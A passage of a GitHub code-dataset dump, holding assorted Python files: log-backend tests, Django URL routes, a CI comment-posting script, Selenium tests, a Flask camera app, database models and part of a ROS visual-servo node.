\"job_id\": 1,\n \"dt\": \"2020-03-25T19:44:36.209548\",\n \"lvl\": \"info\",\n \"msg\": \"lava-dispatcher, installed at version: 2020.02\",\n }\n ) # nosec\n result = yaml_load(logs_mongo.read(job))\n\n assert len(result) == 2 # nosec\n assert result == find_ret_val # nosec\n # size of find_ret_val in bytes\n assert logs_mongo.size(job) == 137 # nosec\n\n assert logs_mongo.open(job).read() == yaml_dump(find_ret_val).encode(\"utf-8\")\n\n\ndef test_elasticsearch_logs(mocker, logs_elasticsearch):\n job = mocker.Mock()\n job.id = 1\n\n post = mocker.MagicMock()\n get = mocker.MagicMock()\n get_ret_val = mocker.Mock()\n\n # Test with empty object first.\n get_ret_val.text = \"{}\"\n get.return_value = get_ret_val\n mocker.patch(\"requests.get\", get)\n result = logs_elasticsearch.read(job)\n assert result == \"\"\n\n # Normal test.\n get_ret_val.text = '{\"hits\":{\"hits\":[{\"_source\":{\"dt\": 1585165476209, \"lvl\": \"info\", \"msg\": \"first message\"}}, {\"_source\":{\"dt\": 1585165476210, \"lvl\": \"info\", \"msg\": \"second message\"}}]}}'\n get.return_value = get_ret_val\n\n mocker.patch(\"requests.get\", get)\n mocker.patch(\"requests.post\", post)\n\n line = '- {\"dt\": \"2020-03-25T19:44:36.209\", \"lvl\": \"info\", \"msg\": \"lava-dispatcher, installed at version: 2020.02\"}'\n logs_elasticsearch.write(job, line)\n post.assert_called_with(\n \"%s%s/_doc/\" % (settings.ELASTICSEARCH_URI, settings.ELASTICSEARCH_INDEX),\n data='{\"dt\": 1585165476209, \"lvl\": \"info\", \"msg\": \"lava-dispatcher, installed at version: 2020.02\", \"job_id\": 1}',\n headers={\"Content-type\": \"application/json\"},\n ) # nosec\n result = yaml_load(logs_elasticsearch.read(job))\n\n assert len(result) == 2 # nosec\n assert result == [\n {\"dt\": \"2020-03-25T19:44:36.209000\", \"lvl\": \"info\", \"msg\": \"first message\"},\n {\"dt\": \"2020-03-25T19:44:36.210000\", \"lvl\": \"info\", \"msg\": \"second message\"},\n ] # nosec\n # size of get_ret_val in bytes\n assert logs_elasticsearch.size(job) == 137 # nosec\n\n assert logs_elasticsearch.open(job).read() == yaml_dump(\n [\n {\"dt\": \"2020-03-25T19:44:36.209000\", \"lvl\": \"info\", \"msg\": \"first message\"},\n {\n \"dt\": \"2020-03-25T19:44:36.210000\",\n \"lvl\": \"info\",\n \"msg\": \"second message\",\n },\n ]\n ).encode(\"utf-8\")\n","repo_name":"Linaro/lite-lava","sub_path":"tests/lava_scheduler_app/test_logutils.py","file_name":"test_logutils.py","file_ext":"py","file_size_in_byte":7126,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"862676461","text":"# coding=utf-8\nfrom django.conf.urls import url\nfrom django.views.generic.base import RedirectView\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.liste),\n url(u'^åre/$', views.bol),\n url(r'^liste/$', RedirectView.as_view(url='/', permanent=False)),\n # url(r'^(?P<x>[0-9]+)/$', views.topX, name='topX'),\n url(r'^table$', views.table),\n url(r'^produkt/(?P<pk>[0-9]+)/$', views.Produktvisning.as_view(), name='Produkt'),\n url(r'^produktside/(?P<pk>[0-9]+)/$', views.Produktside.as_view(), name='Produkt'),\n]\n","repo_name":"simennj/polside","sub_path":"pol/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41193386533","text":"#! /usr/bin/env python\n\nimport os\n\nfrom github import Github\nfrom optparse import OptionParser\n\nusage = \"usage: %prog [options] message\"\nparser = OptionParser(usage)\n(options, args) = parser.parse_args()\nif len(args) != 1:\n parser.error(\"You must supply a message.\")\n\nmessage = args[0]\nissueID = None\nurl = \"\"\n\nif \"ghprbPullId\" in os.environ:\n issueID = os.environ[\"ghprbPullId\"]\nif \"BUILD_URL\" in os.environ:\n url = os.environ[\"BUILD_URL\"]\n url = url.replace(\"cmsjenkins01.cern.ch:443\", \"cmssdt.cern.ch\")\n url = url.replace(\"cmsjenkins02.cern.ch:443\", \"cmssdt.cern.ch\")\n url = url.replace(\"cmsjenkins11.cern.ch:443\", \"cmssdt.cern.ch\")\n message += \"\\nSee %s for details\" % url\n\ngh = Github(os.environ[\"DMWMBOT_TOKEN\"])\n\ncodeRepo = os.environ.get(\"CODE_REPO\", \"WMCore\")\nrepoName = \"%s/%s\" % (os.environ[\"WMCORE_REPO\"], codeRepo)\n\nissue = gh.get_repo(repoName).get_issue(int(issueID))\n\nissue.create_comment(message)\n","repo_name":"cms-sw/cms-bot","sub_path":"DMWM/IssueMessage.py","file_name":"IssueMessage.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"28586911290","text":"import numpy as np\nfrom src.turbomach_analyser import Engine\nfrom src.utils import plots, formatter as f\n\n\ndef get_constants():\n return {\n 'SPEC_HEAT_RATIO': 1.4,\n 'GAS_CONST': 287,\n 'TEMP_SEA': 288.15,\n 'SPEC_HEAT_CAPACITY': 1005\n }\n\n\ndef get_engine_constants():\n return {\n 'mass_flow': 20.5,\n 'bypass_ratio': 7,\n 'overall_pressure_ratio': 40,\n 'fan_hub_tip_ratio': 0.35,\n 'fan_tip_mach_no': 1.3,\n 'inner_fan_pressure_ratio': 1.8,\n 'outer_fan_pressure_ratio': 2.5,\n 'comp_axial_velocity': 190,\n 'turbine_axial_velocity': 150,\n 'turbine_isentropic_efficiency': 0.92,\n 'lpc_pressure_ratio': 2.5,\n 'per_stage_pressure_ratio': 1.3,\n 'P_025': 91802,\n 'T_025': 331.86,\n 'P_03': 1468830,\n 'T_03': 758.17,\n 'P_044': 410468,\n 'T_044': 1268.72,\n 'P_045': 402258,\n 'T_045': 1268.72,\n 'P_05': 82688,\n 'T_05': 892.91,\n 'turbine_reaction_mean': 0.5,\n 'check_dp': 5,\n 'engine_diameter': 2.6,\n 'min_blade_length': 0.012,\n 'lpt_work_coefficient': 2.6,\n 'lpt_min_blade_length': 0.031,\n 'hpt_disk_depth': 0.15,\n 'hpt_blade_density': 8193.25,\n 'hpt_poissons_ratio': 0.27,\n 'hpt_yield_strength_dict': {20: 1100e6,\n 540: 982e6,\n 600: 960e6,\n 650: 894e6,\n 700: 760e6,\n 760: 555e6,\n 820: 408e6},\n 'lpt_lift_coeff': 0.85,\n }\n\n\ndef get_engine_variables():\n return {\n 'hpt_work_coefficient': 1.9,\n 'hpt_angular_velocity': 1300,\n 'hpt_min_blade_length': 0.03,\n 'lpc_diffusion_factor': 0.24,\n 'hpc_diffusion_factor': 0.39,\n 'hpt_lift_coeff': 0.85,\n 'lpc_reaction_mean': 0.85,\n 'hpc_reaction_mean': 0.84\n }\n\n\ndef get_engine_vars_from_file(valid_variables_path):\n valid_variables_list = f.read_hashed_file_to_dict_list(\n valid_variables_path, sort_key='engine_score', reverse=True)\n # Get the engine variables with the highest score\n valid_variables_list[0].pop('engine_score', None)\n return valid_variables_list[0]\n\n\ndef main(engine_data_dir_path, engine_variables_path=None):\n engine_name = 'TEST_ENGINE' if not engine_variables_path else engine_variables_path.split(\n '/')[-1].split('.')[0]\n engine_variables = get_engine_vars_from_file(\n engine_variables_path) if engine_variables_path else get_engine_variables()\n engine = Engine(**get_constants(), **get_engine_constants(),\n **engine_variables)\n components = [engine.fan, engine.lpc, engine.hpc, engine.hpt, engine.lpt]\n [print(f'{component}\\n*****\\n') for component in components]\n f.save_obj_to_file(\n engine, f'{engine_data_dir_path}/{engine_name}.json')\n plots.draw_engine(engine)\n plots.plot_hpt_stage_disk_stresses(engine, stage_no=1)\n plots.plot_hpt_stage_disk_profile(engine, stage_no=1)\n\n\nif __name__ == '__main__':\n engine_data_dir_path = f'./data/EngineData'\n\n # Run optimal engine design:\n engine_variables_path = f'./data/VariablesData/Valid/hdf_hrm_hav_hlc_hmbl_hwc_ldf_lrm.csv'\n main(engine_data_dir_path, engine_variables_path)\n\n # # Run test engine design:\n # main(engine_data_dir_path)\n","repo_name":"RohitNag11/JetEngineDesigner","sub_path":"engine_design.py","file_name":"engine_design.py","file_ext":"py","file_size_in_byte":3477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26284408541","text":"from tests.MyTestCase import MyTestCase\nfrom tests.MyFuncLogin import loginAsLukasAdmin\nfrom tests.MyFuncAemter import createAmt, createReferat, createUnterbereich\nfrom django.urls import reverse\n\n\nclass TestAemtHinzufuegen(MyTestCase):\n \"\"\"\n Setup and Teardown functions are specified in\n MyTestCase\n \"\"\"\n\n def test_1OrganisationseinheitHinzufuegen_AsSuperuser(self):\n \"\"\"\n This is a \"positive\" Systemtest as Blackboxtest.\n Here we want to check if you can add a \"Organisationseinheit\" as Admin.\n\n Steps:\n\n * login as Admin\n * add a \"Organisationseinheit\"\n \"\"\"\n # Login as Admin\n loginAsLukasAdmin(self)\n\n # Hinzufügen eines organisationseinheit\n organisationseinheit = \"test_referat\"\n createReferat(self, organisationseinheit)\n pass\n\n def test_1UnterbereichHinzufuegen_AsSuperuser(self):\n \"\"\"\n This is a \"positive\" Systemtest as Blackboxtest.\n Here we want to check if you can add a \"unterbereich\" as Admin.\n\n Steps:\n\n * login as Admin\n * add a \"unterbereich\"\n \"\"\"\n # Login as Admin\n loginAsLukasAdmin(self)\n\n # Hinzufügen eines Unterbereichs\n organisationseinheit = \"Referat Finanzen\"\n unterbereich = \"test_unterbereich\"\n createUnterbereich(self, organisationseinheit, unterbereich)\n pass\n\n def test_1FunktionHinzufuegen_AsSuperuser(self):\n \"\"\"\n This is a \"positive\" Systemtest as Blackboxtest.\n Here we want to check if you can add a funktion as Admin.\n\n Steps:\n\n * login as Admin\n * add a funktion\n \"\"\"\n # Login as Admin\n loginAsLukasAdmin(self)\n\n # Hinzufügen eines Amtes\n funktion = \"test_amt\"\n organisationseinheit = \"Referat Finanzen\"\n unterbereich = \"Bereich Buchhaltung\"\n createAmt(self, organisationseinheit, unterbereich, funktion)\n pass\n\n def test_ReferatUnterbereichAmtHinzufuegen_AsSuperuser(self):\n \"\"\"\n This is a complex \"positive\" Systemtest as Blackboxtest.\n Here we want to check if you can add a organisationseinheit, unterbereich and funktion as Admin.\n We also check if we can add a new Member with the new data and if everything is displayed correctly\n in \"/aemter/\".\n\n Steps:\n\n * login as Admin\n * add a \"organisationseinheit\"\n * add a \"unterbereich\"\n * add a funktion\n * create a Member\n * navigate to aemteruebersicht \"/aemter/\"\n \"\"\"\n # Login as Admin\n loginAsLukasAdmin(self)\n\n organisationseinheit = \"test_referat\"\n unterbereich = \"test_unterbereich\"\n funktion = \"test_amt\"\n\n \"\"\"\n Erstellen von allen\n \"\"\"\n createReferat(self, organisationseinheit)\n self.browser.find_element_by_xpath(\"//a[@href='/']\").click()\n\n createUnterbereich(self, organisationseinheit, unterbereich)\n self.browser.find_element_by_xpath(\"//a[@href='/']\").click()\n\n createAmt(self, organisationseinheit, unterbereich, funktion)\n self.browser.find_element_by_xpath(\"//a[@href='/']\").click()\n\n \"\"\"\n Hinzufügen eines Mitglieds mit den Parametern\n \"\"\"\n # navigieren zu Mitglied hinzufügen\n self.browser.find_element_by_xpath(\n \"//a[@href='/mitglieder/erstellen']\").click()\n\n # auswahl des Referates, Unterbereices, Amts\n self.browser.find_element_by_xpath(\n \"//div[@id='div_selectreferat1']/div/input\").click()\n self.browser.find_element_by_xpath(\n \"//span[text()='%s']\" % organisationseinheit).click()\n\n self.browser.find_element_by_xpath(\n \"//div[@id='div_selectbereich1']/div/div/input\").click()\n self.browser.find_element_by_xpath(\n \"//span[text()='%s']\" % unterbereich).click()\n\n self.browser.find_element_by_xpath(\n \"//div[@id='div_selectamt1']/div/div/input\").click()\n self.browser.find_element_by_xpath(\"//span[text()='%s']\" % funktion).click()\n\n # weitere Daten Hinzufügen\n self.browser.find_element_by_name('vorname').send_keys('Hans')\n self.browser.find_element_by_name('nachname').send_keys('Peter')\n self.browser.find_element_by_name('spitzname').send_keys('Hansi')\n self.browser.find_element_by_name(\n 'email1').send_keys('sxxxxx@htw-dresden.de')\n self.browser.find_element_by_name(\n 'telefon_mobil').send_keys('0362594833')\n\n # Speichern\n self.browser.find_element_by_id('save_button').click()\n self.assertEqual(self.browser.current_url,\n self.live_server_url + reverse('mitglieder:homepage'),\n msg=\"Weiterleitung nicht erfolgt\")\n self.assertEqual(\n self.browser.find_element_by_xpath(\"//tr[@class='mitglied']/td[contains(text(), 'Hans Peter')]\").text,\n \"Hans Peter\",\n msg=\"Hans Peter wurde nicht angelegt\")\n searchstring = funktion + \" \" + unterbereich + \" (\" + organisationseinheit + \")\"\n self.assertEqual(\n self.browser.find_element_by_xpath(\n \"//tr[@class='mitglied']/td/ul/li[contains(text(), '%s')]\" %\n searchstring).text,\n searchstring,\n msg=\"Funktion wurde nicht richtig zugewiesen\")\n\n \"\"\"\n Schauen in der Ämter Übersicht ob alles angezeigt wird\n \"\"\"\n # navigieren zur Ämterübersicht\n self.browser.find_element_by_xpath(\"//a[@href='/aemter']\").click()\n\n # zu seite 3\n self.browser.find_element_by_xpath(\"//a[@href='?page=3']\").click()\n\n # öffnen der collabseables\n searchstring = organisationseinheit\n self.browser.find_element_by_xpath(\n \"//div[text()='%s']\" % searchstring).click()\n searchstring = unterbereich\n self.browser.find_element_by_xpath(\n \"//div[text()='%s']\" % searchstring).click()\n\n # überprüfen ob Funktion da ist\n self.assertEqual(\n self.browser.find_element_by_xpath(\n \"//tr/td[contains(text(), '%s')]\" %\n funktion).text,\n funktion,\n msg=\"Funktion ist nicht in Übersicht Ämter vorhanden\")\n \"\"\"\n TODO: Schauen ob Person richtig einem Funktion zugeordnet wurde\n self.assertEqual(self.browser.find_element_by_xpath(\"//tr/td[contains(text(), 'Hans Peter\\n')]\").text,\n \"Hans Peter\",\n msg=\"Hans Peter wurde nicht richtig dem Funktion hinzugefügt\")\n \"\"\"\n pass\n","repo_name":"PaulWentzel420/SE1-Projekt-Mitgliederdatenbank-Stura","sub_path":"src/tests/test_007_aemtHinzufuegen.py","file_name":"test_007_aemtHinzufuegen.py","file_ext":"py","file_size_in_byte":6811,"program_lang":"python","lang":"de","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"23589101231","text":"#!/usr/bin/env python3\n\ndef read_ints():\n return list(map(int, input().split(' ')))\n\ndef solve2(n0, n1):\n return n0 + n1//2 + (1 if n1%2 > 0 else 0)\n\ndef solve3(n0, n1, n2):\n k = min(n1, n2)\n return n0 + k + (n1-k)//3 + (n2-k)//3 + (1 if (n1-k)%3 + (n2-k)%3 > 0 else 0)\n\ndef solve4(n0, n1, n2, n3):\n a1 = solve4impl(n0, n1, n2, n3)\n a2 = solve4impl(n0, n3, n2, n1)\n if a1 != a2:\n raise Exception(\"solve4 inconsistent on {}: {} != {}\".format([n0, n1, n2, n3], a1, a2))\n return a1\n\ndef solve4impl(n0, n1, n2, n3):\n k2 = n2//2\n k13 = min(n1, n3)\n n1 -= k13\n n2 = n2%2\n n3 -= k13\n k2x = 0\n if n2 == 1:\n if n1 >= 2 and n1 % 4 != 0:\n k2x = 1\n n2 -= 1\n n1 -= 2\n elif n3 >= 2:\n k2x = 1\n n2 -= 1\n n3 -= 2\n return n0 + k13 + k2 + k2x + (n1//4) + (n3//4) + (1 if n2 + (n1%4) + (n3%4) > 0 else 0)\n\ndef main():\n ts = int(input())\n for ti in range(ts):\n n, p = read_ints()\n freq = [0] * p\n for i in read_ints():\n freq[i%p] += 1\n if p == 2:\n ans = solve2(*freq)\n elif p == 3:\n ans = solve3(*freq)\n elif p == 4:\n ans = solve4(*freq)\n else:\n raise Exception(\"Invalid P: {}\".format(p))\n print(\"Case #{}: {}\".format(ti+1, ans))\n\nif __name__ == '__main__':\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_212/167.py","file_name":"167.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16882984907","text":"import logging\nimport os\nimport time\n\nfrom flask import Flask, render_template, jsonify, Response, send_file\nfrom moviepy.editor import VideoFileClip\n\nfrom camera_control import start_recording, stop_recording, get_status\n\napp = Flask(__name__)\n\nrecording = False # 録画状態を表す変数\n\n# 保存先フォルダの作成\nfolder_path = os.path.dirname(__file__) + '/videos'\nif not os.path.exists(folder_path):\n os.mkdir(folder_path)\n logging.info(f\"フォルダ '{folder_path}' を作成しました。\")\nelse:\n logging.info(f\"フォルダ '{folder_path}' は既に存在します。\")\n\n# ログの設定\nlog_format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\nlogging.basicConfig(level=logging.DEBUG, format=log_format)\nlogger = logging.getLogger(__name__)\n\n# 環境変数 'FLASK_ENV' の値によってデバッグモードを切り替える\nif os.environ.get('FLASK_ENV') == 'production':\n app.debug = False\nelif os.environ.get('FLASK_ENV') is None:\n app.debug = True\nelse:\n app.debug = True\n\n\n@app.route('/favicon.ico')\ndef favicon():\n return app.send_static_file('favicon.ico')\n\n\n@app.route('/', methods=['GET'])\ndef index():\n logger.info('Rendering index.html...')\n return render_template('index.html', recording=recording)\n\n\n@app.route('/video/get_status', methods=['GET'])\ndef get_status_route():\n logger.debug('Getting status...')\n return jsonify({\"status\": get_status(recording)})\n\n\n@app.route('/video/start_recording', methods=['POST'])\ndef start_recording_route():\n global recording\n result, success = start_recording(folder_path, recording)\n if success:\n recording = True\n logger.info('Recording started.')\n return jsonify({\"message\": result}), 200 if success else 400\n\n\n@app.route('/video/stop_recording', methods=['POST'])\ndef stop_recording_route():\n global recording\n result, success = stop_recording(recording)\n if success:\n recording = False\n logger.info('Recording stopped.')\n return jsonify({\"message\": result}), 200 if success else 400\n\n\n@app.route('/video/list', methods=['GET'])\ndef video_list():\n videos = []\n # サンプルとして/videos配下の動画のリストをリストとして定義\n video_files = [f for f in os.listdir(folder_path) if os.path.isfile(os.path.join(folder_path, f))]\n\n for filename in video_files:\n file_path = os.path.join(folder_path, filename)\n if file_path.lower().endswith('.mp4'):\n try:\n clip = VideoFileClip(file_path)\n videos.append(\n {\"filename\": filename, \"length\": clip.duration,\n \"size\": round(os.path.getsize(file_path) / 1024 / 1024, 2)}) # MBに変換\n clip.close()\n except Exception as e:\n logger.error(f\"エラー: {filename}を処理中に問題が発生しました。\")\n logger.info(videos)\n return render_template('video_list.html', videos=videos)\n\n\n@app.route('/video/<filename>', methods=['GET'])\ndef download_video(filename: str):\n target = f\"{folder_path}/{filename}\"\n if not os.path.exists(target):\n return jsonify({\"file is not found\": \"recording now!!\"}), 400\n return send_file(target, mimetype='video/mpeg')\n\n\n@app.route('/video/<filename>/delete', methods=['DELETE'])\ndef delete_video(filename: str):\n global recording\n if recording is True:\n return jsonify({\"message\": \"recording now!!\"}), 400\n try:\n # ファイルを削除\n os.remove(os.path.join(folder_path, filename))\n logger.info(f\"ファイル '{filename}' を削除しました。\")\n return jsonify({\"message\": \"\"}), 200\n except FileNotFoundError:\n logger.warn(f\"エラー: ファイル '{filename}' が見つかりません。\")\n return jsonify({\"message\": \"file not found!!\"}), 400\n except Exception as e:\n logger.error(f\"エラーが発生しました: {e}\")\n return jsonify({\"message\": \"{e}\"}), 500\n\n\ndef generate_status():\n while True:\n time.sleep(3) # 3秒ごとに更新\n status = get_status(recording)\n logger.debug('Sending status: %s', status)\n yield f\"data: {status}\\n\\n\"\n\n\n@app.route('/video/stream_status')\ndef stream_status():\n logger.debug('Streaming status...')\n return Response(generate_status(), content_type='text/event-stream')\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')\n","repo_name":"stsnkmr/PiCamController","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8217327578","text":"from sqlalchemy.orm import relationship\n\nfrom models.base import Base\nfrom sqlalchemy import Column, Integer, REAL, DateTime, func, ForeignKey\n\n\nclass Calculate(Base):\n __tablename__ = 'calculate'\n\n id = Column(Integer, primary_key=True)\n stock_id = Column(Integer, ForeignKey('stock.id'))\n sd = Column(REAL)\n mean = Column(REAL)\n created_at = Column(DateTime, server_default=func.now())\n\n # relations\n stock = relationship('Stock', back_populates=\"calculates\")\n","repo_name":"demarlik01/warren","sub_path":"models/calculate.py","file_name":"calculate.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18149662997","text":"import sys\nsys.stdin = open('input.txt', \"r\")\n\nN,R,G,B = map(int, sys.stdin.readline().rstrip().split())\n\ndef factorial(a):\n \n answer = 1\n for i in range (1,a+1): answer *= i\n return answer\n\ndef DFS(v,R,G,B):\n if v == N+1:\n return 1\n hap = 0\n \n #한가지 색으로 채울경우\n if R >= v:\n hap += DFS(v+1,R-v,G,B)\n if G >= v:\n hap += DFS(v+1,R,G-v,B)\n if B >= v:\n hap += DFS(v+1,R,G,B-v)\n #두가지 색으로 채울경우\n if v % 2 == 0:\n if R >= v//2 and G >= v//2:\n hap += factorial(v)//(factorial(v//2))//(factorial(v//2))*DFS(v+1,R-v//2,G-v//2,B)\n if G >= v//2 and B >= v//2:\n hap += factorial(v)//(factorial(v//2))//(factorial(v//2))*DFS(v+1,R,G-v//2,B-v//2)\n if R >= v//2 and B >= v//2:\n hap += factorial(v)//(factorial(v//2))//(factorial(v//2))*DFS(v+1,R-v//2,G,B-v//2)\n #세가지 색으로 채울경우\n if v % 3 == 0:\n if R >= v//3 and G >= v//3 and B >= v//3:\n hap += factorial(v)//(factorial(v//3))//(factorial(v//3))//(factorial(v//3))*DFS(v+1,R-v//3,G-v//3,B-v//3)\n return hap\n\n \nprint(DFS(1,R,G,B))","repo_name":"aver1001/Problem-Solving","sub_path":"풀이 완료/1234/acmicpc.py","file_name":"acmicpc.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23542109621","text":"in_file = open(\"input.txt\", \"r\")\r\nout_file = open(\"output.txt\", \"w\")\r\n\r\n\r\ndef solve():\r\n\tn = int(in_file.readline())\r\n\tfor t in range(1, n + 1):\r\n\t\tout_file.write(\"Case #\" + str(t) + \": \")\r\n\t\t(s, k) = in_file.readline().split()\r\n\t\tk = int(k)\r\n\t\ta = []\r\n\t\tfor x in s:\r\n\t\t\tif x == '-':\r\n\t\t\t\ta.append(0)\r\n\t\t\telse:\r\n\t\t\t\ta.append(1)\r\n\t\tx = 0\r\n\t\tst = []\r\n\t\tl = 0\r\n\t\tfor i in range(len(a) - k + 1):\r\n\t\t\tif l < len(st) and st[l] == i:\r\n\t\t\t\tx -= 1\r\n\t\t\t\tl += 1\r\n\t\t\tif (a[i] + x) % 2 == 1:\r\n\t\t\t\tcontinue\r\n\t\t\tst.append(i + k)\r\n\t\t\tx += 1\r\n\t\tfail = False\r\n\t\tfor i in range(len(a) - k + 1, len(a)):\r\n\t\t\tif l < len(st) and st[l] == i:\r\n\t\t\t\tx -= 1\r\n\t\t\t\tl += 1\r\n\t\t\tif (a[i] + x) % 2 == 0:\r\n\t\t\t\tfail = True\r\n\t\t\t\tbreak\r\n\t\tif fail:\r\n\t\t\tout_file.write(\"IMPOSSIBLE\")\r\n\t\telse:\r\n\t\t\tout_file.write(str(len(st)))\r\n\t\tout_file.write(\"\\n\")\r\n\r\n\r\nsolve()\r\n\r\nin_file.close()\r\nout_file.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/1993.py","file_name":"1993.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21864940226","text":"from hypothesis.strategies import composite\n\nfrom .forms import form_items\n\nfrom custom.label.discard_exprs import label\nfrom custom.verify.discard_exprs import verify\n\nmarker = '#_'\n\ndef build_discard_expr_str(item):\n some_item = item[\"inputs\"]\n # XXX: space here should really be separator, but can\n # also be empty string\n return marker + \" \" + some_item[\"to_str\"](some_item)\n\n# XXX: make another key-value pair for the repeat non_form?\n@composite\ndef discard_expr_items(draw,\n elements=form_items(),\n label=label,\n verify=verify):\n #\n some_item = draw(elements)\n #\n return {\"inputs\": some_item,\n \"label\": label,\n \"to_str\": build_discard_expr_str,\n \"verify\": verify,\n \"marker\": marker}\n","repo_name":"sogaiu/hypothesis-grammar-clojure","sub_path":"hypothesis_grammar_clojure/discard_exprs.py","file_name":"discard_exprs.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9717828340","text":"# Importing the necessary modules\nfrom database import db\nfrom flask_login import UserMixin\nfrom datetime import datetime\n\n# Creating the User model class that inherits from UserMixin and db.Model\nclass User(UserMixin, db.Model):\n # Defining the table columns for the User model\n id = db.Column(db.Integer, primary_key=True)\n email = db.Column(db.String(80), unique=True, nullable=False)\n password = db.Column(db.String(120), nullable=False)\n first_name = db.Column(db.String(80), nullable=False)\n last_name = db.Column(db.String(80), nullable=False)\n date_of_birth = db.Column(db.Date, nullable=False)\n\n def create_journal_entry(self, title, content):\n \"\"\"\n Create a new journal entry associated with the user.\n Args:\n title (str): The title of the journal entry.\n content (str): The content of the journal entry.\n Returns:\n JournalEntry: The created journal entry instance.\n \"\"\"\n entry = JournalEntry(user=self, title=title, content=content)\n db.session.add(entry)\n db.session.commit()\n return entry\n\n# Creating the Therapist model class that inherits from db.Model\nclass Therapist(db.Model):\n # Defining the table columns for the Therapist model\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(80), nullable=False)\n credentials = db.Column(db.String(120), nullable=False)\n image = db.Column(db.String(200), nullable=False)\n\n# Creating the Resource model class that inherits from db.Model \nclass Resource(db.Model):\n # Defining the table columns for the Resource model\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(80), nullable=False)\n link = db.Column(db.String(200), nullable=False)\n media_type = db.Column(db.String(80), nullable=False) # \"video\", \"article\", \"course\"\n category = db.Column(db.String(80), nullable=False) # \"mental health\", etc.\n\n# JournalEntry model represents a journal entry in the system\nclass JournalEntry(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)\n user = db.relationship('User', backref=db.backref('journal_entries', lazy=True))\n title = db.Column(db.String(100), nullable=False)\n content = db.Column(db.Text, nullable=False)\n created_at = db.Column(db.DateTime, default=datetime.utcnow)\n\n def __repr__(self):\n return f\"<JournalEntry id={self.id}, title='{self.title}'>\"\n\n\n\n \n","repo_name":"emmanuelofor/SafeSpace","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"791289298","text":"from seetree import models\nfrom seetree.db import db\nfrom seetree.api import api_bp\nfrom seetree.builder import build_app\n\napp = build_app()\napp.register_blueprint(api_bp)\n# provide context for `flask shell` from command line\n@app.shell_context_processor\ndef make_shell_context():\n return {'db': db,\n 'models': models,\n 'session': db.session,\n 'app': app}\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=app.config['PORT'], debug=app.config['DEBUG'])\n","repo_name":"gileez/seetree","sub_path":"seetree/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17288653107","text":"#!/usr/bin/python\n\nimport roslib\nroslib.load_manifest('sift_detect_holo')\n\nimport sys\nimport os\n\nimport rospy\nimport sensor_msgs.msg\nfrom std_msgs.msg import Float64\nfrom sensor_msgs.msg import Image\nfrom geometry_msgs.msg import Twist\nfrom geometry_msgs.msg import PoseStamped, PointStamped\nfrom sensor_msgs.msg import CameraInfo\nfrom sift_detect.msg import sift_keypoints_array\nfrom sift_detect.msg import sift_keypoint\nfrom std_msgs.msg import Time\n\nimport tf\n\n\nfrom math import atan2, sqrt\n\nimport cv\nimport cv2\nimport numpy as np\nimport itertools\nfrom cv_bridge import CvBridge\n\nfrom pylab import imread, imshow, gray, mean\n\n\nfrom pylab import *\n\n\n\nclass VisualServo:\n\tdef __init__(self):\n\n\t\trospy.init_node('img_detect')\n\t\tself.scale = rospy.get_param(\"~scale_servo\",1)\n\t\tself.twist_pub = rospy.Publisher(\"~twist\",Twist)\n\t\trospy.Subscriber(\"~info\",CameraInfo,self.store_info)\n\t\trospy.Subscriber(\"~kp\", sift_keypoints_array, self.visual_servo)\n\t\t\n\t\tself.Time_pub = rospy.Publisher(\"~compTime\", Time)\n\t\tself.computationalTime = 0\n\t\t\n\t\tself.listener = tf.TransformListener()\n\t\tself.f = 759.3 \n\t\tself.xc = 370.91 \n\t\tself.yc = 250.9 \n\t\t\n\t\tself.cameraFrame = rospy.get_param(\"~camFrame\",\"/frontCamera\")\n\t\tself.robotFrame = rospy.get_param(\"~robFrame\",\"/rosControlledBubbleRob\")\n\n\t\n\tdef visual_servo(self,kPoints):\n\t\t\n\t\tself.computationalTime = rospy.Time.now()\n\t\t#kPoints.skp=[sift_keypoint(0,0), sift_keypoint(0,10), sift_keypoint(10,0)]\n\t\t#kPoints.tkp=[sift_keypoint(0,0), sift_keypoint(0,10), sift_keypoint(5,0)]\n\t\t\n\t\tnKP = len(kPoints.tkp)\n\t\t\n\t\tif (nKP > 3):\n\t\t\n\t\t\n\t\t\terror = 